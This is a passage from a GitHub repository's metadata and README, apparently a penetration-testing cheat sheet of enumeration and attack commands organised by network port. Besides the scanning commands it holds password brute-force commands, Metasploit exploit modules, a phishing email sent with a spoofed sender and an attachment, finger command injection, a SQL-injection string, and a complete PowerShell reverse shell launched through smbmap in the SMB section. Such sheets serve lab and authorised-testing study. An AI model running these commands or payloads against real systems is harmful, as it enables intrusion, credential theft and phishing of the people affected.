{"id":13842694,"url":"https://github.com/0xtz/Enum_For_All","last_synced_at":"2025-07-11T15:32:40.785Z","repository":{"id":202607524,"uuid":"266826219","full_name":"0xtz/Enum_For_All","owner":"0xtz","description":null,"archived":false,"fork":false,"pushed_at":"2020-07-01T19:45:45.000Z","size":223,"stargazers_count":163,"open_issues_count":0,"forks_count":73,"subscribers_count":12,"default_branch":"master","last_synced_at":"2024-10-29T16:58:14.194Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":null,"language":null,"has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/0xtz.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null}},"created_at":"2020-05-25T16:21:05.000Z","updated_at":"2024-10-22T08:05:59.000Z","dependencies_parsed_at":null,"dependency_job_id":"8031f479-d022-4c61-9032-207838e2e90a","html_url":"https://github.com/0xtz/Enum_For_All","commit_stats":null,"previous_names":["0xtz/enum_for_all"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0xtz%2FEnum_For_All","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0xtz%2FEnum_For_All/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0xtz%2FEnum_For_All/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/0xtz%2FEnum_For_All/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/0xtz","download_url":"https://codeload.github.com/0xtz/Enum_For_All/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":225737021,"owners_count":17516270,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2024-08-04T17:01:43.235Z","updated_at":"2024-11-21T13:30:55.549Z","avatar_url":"https://github.com/0xtz.png","language":null,"funding_links":[],"categories":["Others (1002)","Others"],"sub_categories":[],"readme":"![](https://img.shields.io/github/stars/pandao/editor.md.svg) ![](https://img.shields.io/github/forks/pandao/editor.md.svg)\n\nTable of Contents\n=================\n\n* [Table of Contents](#table-of-contents)\n* [Recon](#Recon)\n  * [File enumeration](#File-enumeration)\n      * [Disk files](#Disk-files)\n      * [Images](#Images)\n      * [Audio](#Audio)\n  * [Port 7 - Echo tcp/udp](#Port-7---Echo-tcp/udp)\n  * [Port 21 - FTP](#Port-21---FTP)\n  * [Port 22 - SSH](#Port-22---SSH)\n  * [Port 23 - Telnet](#Port-23---Telnet)\n  * [Port 25 - Telnet](#Port-25--Telnet)\n  * [Port 43 - WHOIS](#Port-43---WHOIS)\n  * [Port 53 - DNS](#Port-53---DNS)\n  * [Port 69 - UDP - TFTP](#Port-69---UDP---TFTP)\n  * [Port 79 - Finger](#Port-79---Finger)\n  * [Kerberos - 88](#Kerberos---88)\n  * [Port 110 - POP3](#Port-110---POP3)\n  * [Port 995 / 110 - POP](#Port-995-/-110---POP)\n  * [Port 111 - Rpcbind](#Port-111---Rpcbind)\n  * [Port 113 - Ident](#Port-113---Ident)\n  * [Port 123 - TNP](#Port-123---TNP)\n  * [Port 135 - MSRPC](#Port-135---MSRPC)\n  * [Port 139/445 - SMB](#Port-139/445---SMB)\n  * [Port 143 / 993- IMAP](#Port-143-/-993--IMAP)\n  * [Port 161/162 UDP - SNMP](#Port-161/162-UDP---NMP)\n  * [Port - 194,6667,6660-7000 - IRC](#Port---194,6667,6660-7000---SIRC)\n  * [Port 264 - Check Point FireWall-1](#Port-264---Check-Point-FireWall-1)\n  * [LDAP - 389, 636, 3268, 3269](#LDAP---389,-636,-3268,-3269)\n  * [HTTPS - 443](#HTTPS---443)\n  * [Port 500 -  ISAKMP IPsec/IKE VPN](#Port-500---ISAKMP-IPsec/IKE-VPN)\n  * [Port 502 - Modbus](#Port-502-Modbus)\n  * [Port 512 - Rexec](#Port-512---Rexec)\n  * [Port 513 - Rlogin](#Port-513---Rlogin)\n  * [Port 514 - RSH](#Port-514---RSH)\n  * [Port 515 - line printerdaemon LPd](#Port-515---line-printerdaemon-LPd)\n  * [Port 541 - FortiNet SSLVPN](#541---FortiNet---SLVPN)\n  * [Port 548 - Apple Filing Protocol (AFP)](#Port-548---Apple-Filing-Protocol-(AFP))\n  * [Port 554 - RTSP](#Port-554---RTSP)\n  * [Port 623 / UDP / TCP - IPMI](#Port-623-/-UDP-/-TCP---IPMI)\n  * [Port 631 - Internet Printing Protocol(IPP)](#Port-631---Internet-Printing-Protocol(IPP))\n  * [Port 873 - Rsync](#Port-873---Rsync)\n  * [Port 1026 - Rusersd](#Port-1026---Rusersd)\n  * [Port 1028 / 1099 - Java RMI](#Port-1028-/-1099---Java-RMI)\n  * [Port 1030/1032/1033/1038](#Port-1030/1032/1033/1038)\n  * [MSSQL - 1433](#MSSQL---1433)\n  * [Port 1521 - Oracle](#Port-1521---Oracle)\n  * [Port 1723 - PPTP](#Port-1723---PPTP)\n  * [Port 1883 - MQTT (Mosquitto)](#Port-1883---MQTT (Mosquitto))\n  * [Port 2049 - NFS TNS Listener](#Port-2049---NFS-TNS-Listener)\n  * [Port 2100 - Oracle XML DB](#Port-2100---Oracle-XML-DB)\n  * [Port 3260 - ISCSI](#Port-3260---ISCSI)\n  * [Port 3299 - SAPRouter](#Port-3299---SAPRouter)\n  * [MySQL - 3306](#MySQL---3306)\n  * [Port 3339 - Oracle web interface](#Port-3339---Oracle-web-interface)\n  * [Port 3389 - RDP](#Port-3389---RDP)\n  * [Port 3632 - distcc](#Port-3632---distcc)\n  * [Port 4369 - Erlang Port Mapper Daemon (epmd)](#Port-4369---Erlang-Port-Mapper-Daemon-(epmd))\n  * [Port 5353 / UDP - Multicast DNS (mDNS)](#Port-5353-/-UDP---Multicast-DNS-(mDNS))\n  * [Port 5432 / 5433 -  Postgresql](#Port-5432-/-5433----Postgresql)\n  * [Port 5671 - AMQP](#Port-5671---AMQP)\n  * [Port 5985 / 5986 - WinRM](#Port-5985-/-5986---WinRM)\n  * [VNC - 5800 / 5801 / 5900 / 5901 -  VNC](#VNC---5800-/-5801-/-5900-/-5901----VNC)\n  * [Port 5984 - CouchDB](#Port-5984---CouchDB)\n  * [Port 6000 - X11](#Port-6000---X11)\n  * [Port 8009 - Apache JServ Protocol (AJP)](#Port-8009---Apache-JServ-Protocol-(AJP))\n  * [MsDeploy - 8172](#MsDeploy---8172)\n  * [Webdav](#Webdav)\n  * [Port 9042 / 9160 -  Cassandra](#Port-9042-/-9160---Cassandra)\n  * [Port 9100 - Raw Printing (JetDirect, AppSocket, PDL-datastream)](#Port-9100---Raw-Printing-(JetDirect,-AppSocket,-PDL-datastream))\n  * [Port 9200 - Elasticsearch](#Port-9200---Elasticsearch)\n  * [Port  10000 - Network Data Management Protocol (ndmp)](#Port--10000---Network-Data-Management-Protocol-(ndmp))\n  * [Port 11211 - Memcache](#Port-11211---Memcache)\n  * [Port 15672 - RabbitMQ Management](#Port-15672---RabbitMQ-Management)\n  * [Port 27017 / 27018 - MongoDB](#Port-27017-/-27018---MongoDB)\n  * [Port 44818 / UDP / TCP - EthernetIP](#Port-44818-/-UDP-/-TCP---EthernetIP)\n  * [Port 47808 / udp - BACNet](#Port-47808-/-udp---BACNet)\n  * [Port 50030 / 50060 / 50070 / 50075 / 50090 - Hadoop](#Port-50030-/-50060-/-50070-/-50075-/-50090---Hadoop)\n  * [Unknown ports](#Unknown-ports)\n  * [Port 80 - web server](#Port-80---web-server)\n     * [Url Brutforce](#Url-Brutforce)\n     * [Default_Weak login](#Default_Weak-login)\n     * [LFI-RFI](#LFI-RFI)\n     * [Sql-injection](#Sql-injection)\n     * [XSS](#XSS)\n     * [Sql-login Bypass](#Sql-login-Bypass)\n     * [Bypass img Upload](#Bypass-img-Upload)\n  * [Online crackers](#Onlin-rackers)\n* [Vulnerability analysis](#Vulnerability-analysis)\n    * [Buffer Overflow](#Buffer-Overflow)\n    * [Find xploits - Searchsploit and google](#Find-xploits---Searchsploit-and-google)\n    * [Reverse Sells](#Reverse-Sells)\n* [Privilege escalation](#Privilege-escalation)\n    * [Common](#Common)\n      * [Set up Webserver](#Set-up-Webserver)\n      * [Set up FTP Server](#Set-up-FTP-Server)\n      * [Filet ransfer](#Filet-ransfer)\n    * [Linux](#Linux)\n        * [Basic info](#Basic-info)\n        * [Kernel exploits](#Kernel-exploits)\n        * [Programs running as root](#Programs-running-as-root)\n        * [Installed software](#Installed-software)\n        * [Weak/reused/plaintext passwords](#Weak/reused/plaintext-passwords)\n        * [Inside service](#Inside-service)\n        * [Suid misconfiguration](#Suid-misconfiguration)\n        * [Unmounted filesystems](#Unmounted-filesystems)\n        * [Cronjob](#Cronjob)\n        * [SSH Keys](#SSH-Keys)\n        * [Bad path configuration)](#Bad-path-configuration)\n        * [PS Monitor for cron](#PS-Monitor-for-cron)\n        * [Linux Privesc Tools](#Linux-Privesc-Tools)\n        * [Linux Precompiled Exploits](#Linux-Precompiled-Exploits)\n    * [Windows](#Windows)\n        * [Basic info](#Basic-info)\n        * [Kernel exploits](#Kernel-exploits)\n        * [Cleartext passwords](#Cleartext-passwords)\n        * [Reconfigure service parameters](#Reconfigure-service-parameters)\n        * [Dump process for passwords](#Dump-process-for-passwords)\n        * [Inside service](#Inside-service)\n        * [Programs running as root/system](#Programs-running-as-root/system)\n        * [Installed software](#Installed-software)\n        * [Scheduled tasks](#Scheduled-tasks)\n        * [Weak passwords](#Weak-passwords)\n        * [Add user and enable RDP](#Add-user-and-enable-RDP)\n        * [Powershell sudo for Windows](#Powershell-sudo-for-Windows)\n        * [Windows download with bitsadmin](#Windows-download-with-bitsadmin)\n        * [Windows download with certutil.exe](#Windows-download-with-certutil.exe)\n        * [Creating a wget VB Script on Windows](#Creating-a-wget-VB-Script-on-Windows)\n        * [Windows download with powershell](#Windows-download-with-powershell)\n        * [Windows Download from FTP](#Windows-Download-from-FTP)\n        * [Windows create SMB Server transfer files](#Windows-create-SMB-Server-transfer-files)\n        * [Pass The Hash](#Pass-The-Hash)\n        * [Scripts](#Scripts)\n            * [Useradd](#Useradd)\n            * [Powershell Run As](#Powershell-Run-As)\n            * [Powershell Reverse Shell](#Powershell-Reverse-Shell)\n    * [Loot](#Loot)\n        * [Linux](#Linux)\n            * [Passwords and hashes](#Passwords-and-hashes)\n            * [Dualhomed](#Dualhomed)\n            * [Tcpdump](#Tcpdump)\n            * [Interesting files](#Interesting-files)\n            * [Databases](#Databases)\n            * [SSH-Keys](#SSH-Keys)\n            * [Browser](#Browser)\n            * [Mail](#Mail)\n            * [GUI](#GUI)\n        * [Windows](#Windows)\n            * [Passwords and hashes](#Passwords-and-hashes)\n            * [Dualhomed](#Dualhomed)\n            * [Tcpdump](#Tcpdump)\n            * [Interesting files](#Interesting-files)\n\n# Recon\n\n```bash\n# Enumerate subnet\nnmap -sn 10.10.10.1/24\n```\n\n```bash\n# Fast simple scan\nnmap -sS 10.10.10.1/24\n```\n\n```sh\nexport IP=10.10.10.11\n```\n\n```bash\n# Extracting Live IPs from Nmap Scan\nnmap 10.1.1.1 --open -oG scan-results; cat scan-results | grep \"/open\" | cut -d \" \" -f 2 \u003e exposed-services-ips\n\n```\n\n```bash\n# Full complete slow scan with output\nnmap -v -sT -A -T4 -p- -Pn --script vuln -oA full $IP\n```\n\n```bash\n# Autorecon\npython3 autorecon.py $IP\n```\n\n```bash\n# Scan for UDP\nnmap $IP -sU\nunicornscan -mU -v -I $IP\n```\n\n```\n# Connect to udp if one is open\nnc -u $IP 48772\n```\n\n```\n# Responder\nresponder -I eth0 -A\n```\n\n```\n# Amass\namass enum $IP\n```\n\n```bash\n# Generating nice scan report\nnmap -sV IP_ADDRESS -oX scan.xml \u0026\u0026 xsltproc scan.xml -o \"`date +%m%d%y`_report.html\"\n```\n```bash\n#Simple Port Knocking\nfor x in 7000 8000 9000; do nmap -Pn –host_timeout 201 –max-retries 0 -p $x 1.1.1.1; done\n```\n\n\n## File enumeration :\n\n### Common :\n\n```bash\n# Check real file type\nfile file.xxx\n```\n\n```bash\n# Analyze strings\nstrings file.xxx\nstrings -a -n 15 file.xxx # Check the entire file and outputs strings longer than 15 chars\n```\n\n\n```bash\n# Check embedded files\nbinwalk file.xxx # Check\nbinwalk -e file.xxx # Extract\n```\n\n```bash\n# Check as binary file in hex\nghex file.xxx\n\n```\n\n```bash\n# Check metadata\nexiftool file.xxx\n\n```\n\n```sh\n# Stego tool for multiple formats\nwget https://embeddedsw.net/zip/OpenPuff_release.zip\nunzip OpenPuff_release.zip -d ./OpenPuff\nwine OpenPuff/OpenPuff_release/OpenPuff.exe\n\n```\n### Disk files\n\n```sh\n# guestmount can mount any kind of disk file\nsudo apt-get install libguestfs-tools\nguestmount --add yourVirtualDisk.vhdx --inspector --ro /mnt/anydirectory\n\n```\n\n### Images\n\n```sh\n#Stego\nwget http://www.caesum.com/handbook/Stegsolve.jar -O stegsolve.jar\nchmod +x stegsolve.jar\njava -jar stegsolve.jar\n```\n\n```sh\n# Stegpy\nstegpy -p file.png\n```\n\n```sh\n# Check png corrupted\npngcheck -v image.jpeg\n```\n\n```sh\n# Check what kind of image is\nidentify -verbose image.jpeg\n```\n\n### Audio\n```sh\n# Check spectrogram\nwget https://code.soundsoftware.ac.uk/attachments/download/2561/sonic-visualiser_4.0_amd64.deb\ndpkg -i sonic-visualiser_4.0_amd64.deb\n```\n```sh\n#AudioStego\nhideme stego.mp3 -f \u0026\u0026 cat output.txt\n```\n\n## Port 7 - Echo tcp/udp\n\n```bash\n# Contact Echo service (UDP)\nnc -uvn $IP 7\nHello echo    #This is wat you send\nHello echo    #This is the response\n```\nReferences :\nhttps://en.wikipedia.org/wiki/ECHO_protocol\n\n## Port 21 - FTP\n```bash\nnmap --script ftp-anon,ftp-bounce,ftp-libopie,ftp-proftpd-backdoor,ftp-vsftpd-backdoor,ftp-vuln-cve2010-4221,tftp-enum -p 21 $IP\n\n# Banner Grabbing\ntelnet -vn $IP 21\n\n# Anonymous login\nftp \u003cIP\u003e\n\u003eanonymous\n\u003eanonymous\n\u003els -a # List all files\n\u003ebinary #Set transmission to binary instead of ascii\n\u003eascii #Set transmission to ascii instead of binary\n\u003ebye #exit\n\n# Browser connection\nftp://anonymous:anonymous@10.10.10.xx\n\n# Download all files\nwget -m ftp://anonymous:anonymous@$IP #Donwload all\nwget -m --no-passive ftp://anonymous:anonymous@$IP #Download all\n\n```\n\n## Port 22 - SSH\n\n```bash\n# Enumeration\nnc -vn $IP 22\n\n# Public SSH key of server\nssh-keyscan -t rsa $IP -p \u003cPORT\u003e\n\n# BruteForce:\n\npatator ssh_login host=$IP port=22 user=root 0=your_file.txt password=FILE0 -x ignore:mesg='Authentication failed.'\n\nhydra -l user -P /usr/share/wordlists/password/rockyou.txt -e s ssh://10.10.1.111\n\nmedusa -h 10.10.1.111 -u user -P /usr/share/wordlists/password/rockyou.txt -e s -M ssh\n\nncrack --user user -P /usr/share/wordlists/password/rockyou.txt ssh://10.10.1.111\n\n#Msf\nuse auxiliary/fuzzers/ssh/ssh_version_2\n\n#SSH Enum users \u003c 7.7:\n\npython ssh_user_enum.py --port 2223 --userList /root/Downloads/users.txt $IP 2\u003e/dev/null | grep \"is a\"\n\n# Tunneling\nsudo ssh -L \u003clocal_port\u003e:\u003cremote_host\u003e:\u003cremote_port\u003e -N -f \u003cusername\u003e@\u003cip_compromised\u003e\n\n```\n\nhttps://github.com/six2dez/ssh_enum_script\n\nhttps://www.exploit-db.com/exploits/45233\n### Port 23 - Telnet\n```bash\n# Banner Grabbing\nnc -vn $IP 23\n\n# nmap\nnmap -n -sV -Pn --script \"*telnet* and safe\" -p 23 $IP\n\n```\n\n### Port 25 - Telnet\n```sh\n# Finding MX servers of an organisation\ndig +short mx google.com\n\n# smtps\nopenssl s_client -starttls smtp -crlf -connect smtp.mailgun.org:587\n\n# Enumeration\nnmap -p25 --script smtp-commands $IP\n# or use  nmap plugin smtp-ntlm-info.nse\n# enum users\nmsf \u003e auxiliary/scanner/smtp/smtp_enum\nsmtp-user-enum\nnmap –script smtp-enum-users.nse $IP\n\n```\n```bash\n# Send Email from linux console\n[root:~] sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf\nReading message body from STDIN because the '-m' option was not used.\nIf you are manually typing in a message:\n  - First line must be received within 60 seconds.\n  - End manual input with a CTRL-D on its own line.\n\nIT Dept,\n\nWe are sending this important file to all our customers. It contains very important instructions for upgrading and securing your software. Please read and let us know if you have any problems.\n\nSincerely,\n\n```\n### Port 43 - WHOIS\n```bash\n# Enumerate\nwhois -h $IP -p \u003cPORT\u003e \"domain.tld\"\necho \"domain.ltd\" | nc -vn $IP \u003cPORT\u003e\n\nAlso, the WHOIS service always needs to use a database to store and extract the information.\nSo, a possible SQLInjection could be present when querying the database from some information provided by the user.\nFor example doing: whois -h 10.10.10.155 -p 43 \"a') or 1=1#\"\nyou could be able to extract all the information saved in the database.\n```\n### Port 53 - DNS\n```bash\n# nslookup\nnslookup\n\u003e SERVER \u003cIP_DNS\u003e #Select dns server\n\u003e 127.0.0.1 #Reverse lookup of 127.0.0.1, maybe...\n\u003e \u003cIP_MACHINE\u003e #Reverse lookup of a machine, maybe...\n\n# DNS lookups, Zone Transfers \u0026 Brute-Force\nwhois domain.com\ndig {a|txt|ns|mx} domain.com\ndig {a|txt|ns|mx} domain.com @ns1.domain.com\nhost -t {a|txt|ns|mx} megacorpone.com\nhost -a megacorpone.com\nhost -l megacorpone.com ns1.megacorpone.com\ndnsrecon -d megacorpone.com -t axfr @ns2.megacorpone.com\ndnsenum domain.com\n# DNS - Subdomains BF\ndnsrecon -D subdomains-1000.txt -d \u003cDOMAIN\u003e -n \u003cIP_DNS\u003e\ndnscan -d \u003cdomain\u003e -r -w subdomains-1000.txt #Bruteforce subdomains in recursive way, https://github.com/rbsec/dnscan\n\nfor sub in $(cat subdomains.txt);do host $sub.domain.com|grep \"has.address\";done\n\n```\n\n### Port 69 - UDP - TFTP\n```bash\nnmap -p69 --script=tftp-enum.nse $IP # Or\nnmap -n -Pn -sU -p69 -sV --script tftp-enum $IPP\n# Download Upload\nmsf5\u003e auxiliary/admin/tftp/tftp_transfer_util\n\n```\n```python\nimport tftpy\nclient = tftpy.TftpClient(\u003cip\u003e, \u003cport\u003e)\nclient.download(\"filename in server\", \"/tmp/filename\", timeout=5)\nclient.upload(\"filename to upload\", \"/local/path/file\", timeout=5)\n\n```\n### Port 79 - Finger\n```bash\n# Enumeration Banner Grabbing/Basic connection\nnc -vn \u003cIP\u003e 79\necho \"root\" | nc -vn $IP 79\n\n# User enumeration\nfinger @$IP       #List users\nfinger admin@$IP  #Get info of user\nfinger user@$IP   #Get info of user\n\n# msf\nuse auxiliary/scanner/finger/finger_users\n\n# command exec\nfinger \"|/bin/id@example.com\"\nfinger \"|/bin/ls -a /@example.com\"\n\n```\n\n### Kerberos - 88\n\n```bash\nGET USERS:\n\nnmap -p 88 --script=krb5-enum-users --script-args=\"krb5-enum-users.realm='DOMAIN.LOCAL'\" $IP\nmsf\u003e use auxiliary/gather/kerberos_enumusers\n\npython kerbrute.py -dc-ip IP -users /root/htb/kb_users.txt -passwords /root/pass_common_plus.txt -threads 20 -domain DOMAIN -outputfile kb_extracted_passwords.txt\n\n```\n\u003e https://blog.stealthbits.com/extracting-service-account-passwords-with-kerberoasting/\n\u003e https://www.youtube.com/watch?v=snGeZlDQL2Q\n\u003e https://www.tarlogic.com/blog/como-funciona-kerberos/\n\u003e https://www.tarlogic.com/blog/como-atacar-kerberos/\n\n### Port 110 - POP3\n\n```bash\ntelnet $IP\nUSER taha@$IP\nPASS admin\n\nor:\n\nUSER admin\nPASS admin\n\n```\n### Port 995 / 110 - POP\n```bash\n# Banner Grabbing\nnc -nv $IP 110\nopenssl s_client -connect $IP:995 -crlf -quiet\n\n# Automated\nnmap --scripts \"pop3-capabilities or pop3-ntlm-info\" -sV -port \u003cPORT\u003e $IP\n\n# POP syntax\nPOP commands:\n  USER uid           Log in as \"uid\"\n  PASS password      Substitue \"password\" for your actual password\n  STAT               List number of messages, total mailbox size\n  LIST               List messages and sizes\n  RETR n             Show message n\n  DELE n             Mark message n for deletion\n  RSET               Undo any changes\n  QUIT               Logout (expunges messages if no RSET)\n  TOP msg n          Show first n lines of message number msg\n  CAPA               Get capabilities\n\n```\n* http://sunnyoasis.com/services/emailviatelnet.html\n\n### Port 111 - Rpcbind\n\n```bash\n# Enumeration\nrpcinfo irked.htb # htb hhhh\nnmap -sSUC -p111 $IP\n\nrpcinfo -p $IP\nrpcclient -U \"\" $IP\n    srvinfo\n    enumdomusers\n    getdompwinfo\n    querydominfo\n    netshareenum\n    netshareenumall\n```\n### Port 113 - Ident\n```bash\n# Nmap\n-- By default (-sC) nmap will identify every user of every running port\n\n```\n### Port 123 - TNP\n```bash\n# Enumeration\nnmap -sU -sV --script \"ntp* and (discovery or vuln) and not (dos or brute)\" -p 123 $IP\n\nntpq -c readlist $IP\nntpq -c readvar $IP\nntpq -c monlist $IP\nntpq -c peers $IP\nntpq -c listpeers $IP\nntpq -c associations $IP\nntpq -c sysinfo $IP\n\n```\n\n### Port 135 - MSRPC\n\n```bash\n# Enumeration\nnmap $IP --script=msrpc-enum\nnmap -n -sV -p 135 --script=msrpc-enum $IP\n\n# Msf\nmsf \u003e use exploit/windows/dcerpc/ms03_026_dcom\nmsf \u003e use auxiliary/scanner/dcerpc/endpoint_mapper\nmsf \u003e use auxiliary/scanner/dcerpc/hidden\nmsf \u003e use auxiliary/scanner/dcerpc/management\nmsf \u003e use auxiliary/scanner/dcerpc/tcp_dcerpc_auditor\n\n# Identifying Exposed RPC Services\nrpcdump [-p port] $IP\nIfId: 5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc version 1.0\nAnnotation: Messenger Service\nUUID: 00000000-0000-0000-0000-000000000000\nBinding: ncadg_ip_udp:192.168.189.1[1028]\n\nrpcdump.py $IP -p 135\n\n```\n\n### Port 139/445 - SMB\n```bash\n# Enum hostname\nenum4linux -n $IP\nnmblookup -A $IP\nnmap --script=smb-enum* --script-args=unsafe=1 -T5 $IP\n\n# Get Version\nsmbver.sh $IP\nMsfconsole;use scanner/smb/smb_version\nngrep -i -d tap0 's.?a.?m.?b.?a.*[[:digit:]]'\nsmbclient -L \\\\\\\\$IP\n\n# Get Shares\nsmbmap -H  $IP -R \u003csharename\u003e\necho exit | smbclient -L \\\\\\\\\nsmbclient \\\\\\\\$IP\\\\\u003cshare\u003e\nsmbclient -L //$IP -N\nnmap --script smb-enum-shares -p139,445 -T4 -Pn $IP\nsmbclient -L \\\\\\\\$IP\\\\\n\n# Check null sessions\nsmbmap -H $IP\nrpcclient -U \"\" -N $IP\nsmbclient //$IP/IPC$ -N\n\n# Exploit null sessions\nenum -s $IP\nenum -U $IP\nenum -P $IP\nenum4linux -a $IP\n/usr/share/doc/python3-impacket/examples/samrdump.py $IP\n\n# Connect to username shares\nsmbclient //$IP/share -U username\n\n# Connect to share anonymously\nsmbclient \\\\\\\\$IP\\\\\u003cshare\u003e\nsmbclient //$IP/\u003cshare\u003e\nsmbclient //$IP/\u003cshare\\ name\u003e\nsmbclient //$IP/\u003c\"\"share name\"\"\u003e\nrpcclient -U \" \" $IP\nrpcclient -U \" \" -N $IP\n\n# Check vulns\nnmap --script smb-vuln* -p139,445 -T4 -Pn $IP\n\n# Check common security concerns\nmsfconsole -r /usr/share/metasploit-framwork/scripts/resource/smb_checks.rc\n\n# Extra validation\nmsfconsole -r /usr/share/metasploit-framwork/scripts/resource/smb_validate.rc\n\n# Multi exploits\nmsfconsole; use exploit/multi/samba/usermap_script; set lhost 192.168.0.X; set rhost $IP; run\n\n# Bruteforce login\nmedusa -h $IP -u userhere -P /usr/share/seclists/Passwords/Common-Credentials/10k-most-common.txt -M smbnt\nnmap -p445 --script smb-brute --script-args userdb=userfilehere,passdb=/usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt $IP  -vvvv\nnmap –script smb-brute $IP\n\n# nmap smb enum \u0026 vuln\n\nnmap --script smb-enum-*,smb-vuln-*,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-protocols -p 139,445 $IP\n\nnmap --script smb-enum-domains.nse,smb-enum-groups.nse,smb-enum-processes.nse,smb-enum-sessions.nse,smb-enum-shares.nse,smb-enum-users.nse,smb-ls.nse,smb-mbenum.nse,smb-os-discovery.nse,smb-print-text.nse,smb-psexec.nse,smb-security-mode.nse,smb-server-stats.nse,smb-system-info.nse,smb-vuln-conficker.nse,smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-regsvc-dos.nse -p 139,445 $IP\n\n# Mount smb volume linux\nmount -t cifs -o username=user,password=password //$IP/share /mnt/share\n\n# rpcclient commands\nrpcclient -U \"\" $IP\n    srvinfo\n    enumdomusers\n    getdompwinfo\n    querydominfo\n    netshareenum\n    netshareenumall\n\n# Run cmd over smb from linux\nwinexe -U username //$IP \"cmd.exe\" --system\n\n# smbmap\n    #Enum\nsmbmap.py -H $IP -u administrator -p asdf1234\n    #RCE\nsmbmap.py -u username -p 'P@$$w0rd1234!' -d DOMAINNAME -x 'net group \"Domain Admins\" /domain' -H $IP\n    # Drive Listing\nsmbmap.py -H $IP -u username -p 'P@$$w0rd1234!' -L\n    # Reverse Shell\nsmbmap.py -u username -p 'P@$$w0rd1234!' -d ABC -H $IP -x 'powershell -command \"function ReverseShellClean {if ($c.Connected -eq $true) {$c.Close()}; if ($p.ExitCode -ne $null) {$p.Close()}; exit; };$a=\"\"\"\"192.168.0.X\"\"\"\"; $port=\"\"\"\"4445\"\"\"\";$c=New-Object system.net.sockets.tcpclient;$c.connect($a,$port) ;$s=$c.GetStream();$nb=New-Object System.Byte[] $c.ReceiveBufferSize  ;$p=New-Object System.Diagnostics.Process  ;$p.StartInfo.FileName=\"\"\"\"cmd.exe\"\"\"\"  ;$p.StartInfo.RedirectStandardInput=1  ;$p.StartInfo.RedirectStandardOutput=1;$p.StartInfo.UseShellExecute=0  ;$p.Start()  ;$is=$p.StandardInput  ;$os=$p.StandardOutput  ;Start-Sleep 1  ;$e=new-object System.Text.AsciiEncoding  ;while($os.Peek() -ne -1){$out += $e.GetString($os.Read())} $s.Write($e.GetBytes($out),0,$out.Length)  ;$out=$null;$done=$false;while (-not $done) {if ($c.Connected -ne $true) {cleanup} $pos=0;$i=1; while (($i -gt 0) -and ($pos -lt $nb.Length)) { $read=$s.Read($nb,$pos,$nb.Length - $pos); $pos+=$read;if ($pos -and ($nb[0..$($pos-1)] -contains 10)) {break}}  if ($pos -gt 0){ $string=$e.GetString($nb,0,$pos); $is.write($string); start-sleep 1; if ($p.ExitCode -ne $null) {ReverseShellClean} else {  $out=$e.GetString($os.Read());while($os.Peek() -ne -1){ $out += $e.GetString($os.Read());if ($out -eq $string) {$out=\"\"\"\" \"\"\"\"}}  $s.Write($e.GetBytes($out),0,$out.length); $out=$null; $string=$null}} else {ReverseShellClean}};\"'\n\n# Check\n\\Policies\\{REG}\\MACHINE\\Preferences\\Groups\\Groups.xml look for user\u0026pass \"gpp-decrypt \"\n\n```\n### Port 143 / 993- IMAP\n```bash\n# Banner grabbing\nnc -nv $IP 143\nopenssl s_client -connect $IP:993 -quiet\n\n# NTLM Auth - Information disclosure\n-- use the nmap script imap-ntlm-info.nse\n\n```\n### Port 161/162 UDP - SNMP\n```bash\nnmap -vv -sV -sU -Pn -p 161,162 --script=snmp-netstat,snmp-processes $IP\n\nsnmp-check $IP -c public|private|community\n\nsnmpwalk -v 2c -c public $ip\n\n```\n### Port - 194,6667,6660-7000 - IRC\n```bash\n# Enumeration\nnmap -sV --script irc-botnet-channels,irc-info,irc-unrealircd-backdoor -p 194,6660-7000 irked.htb\n\n```\n### Port 264 - Check Point FireWall-1\n```bash\nmsf \u003e use auxiliary/gather/checkpoint_hostname\nmsf \u003e set RHOST $IP\n\n# read\n* https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html#check-point-firewall-1-topology-port-264\n\n```\n### LDAP - 389, 636, 3268, 3269\n\n```bash\n# Basic Enumeration\nnmap -n -sV --script \"ldap* and not brute\" $IP\n\n# Clear text credentials\n* If LDAP is used without SSL you can sniff credentials in plain text in the network.\n\nldapsearch -h $IP -p 389 -x -b \"dc=mywebsite,dc=com\"\n\nldapsearch -x -h $IP -D 'DOMAIN\\user' -w 'hash-password'\n\nldapdomaindump $IP -u 'DOMAIN\\user' -p 'hash-password'\n\nldapsearch -x -h $IP -D '\u003cDOMAIN\u003e\\\u003cusername\u003e' -w '\u003cpassword\u003e' -b \"CN=Users,DC=\u003c1_SUBDOMAIN\u003e,DC=\u003cTDL\u003e\"\n\n#brut\n\nldapsearch -x -h $IP -D '' -w '' 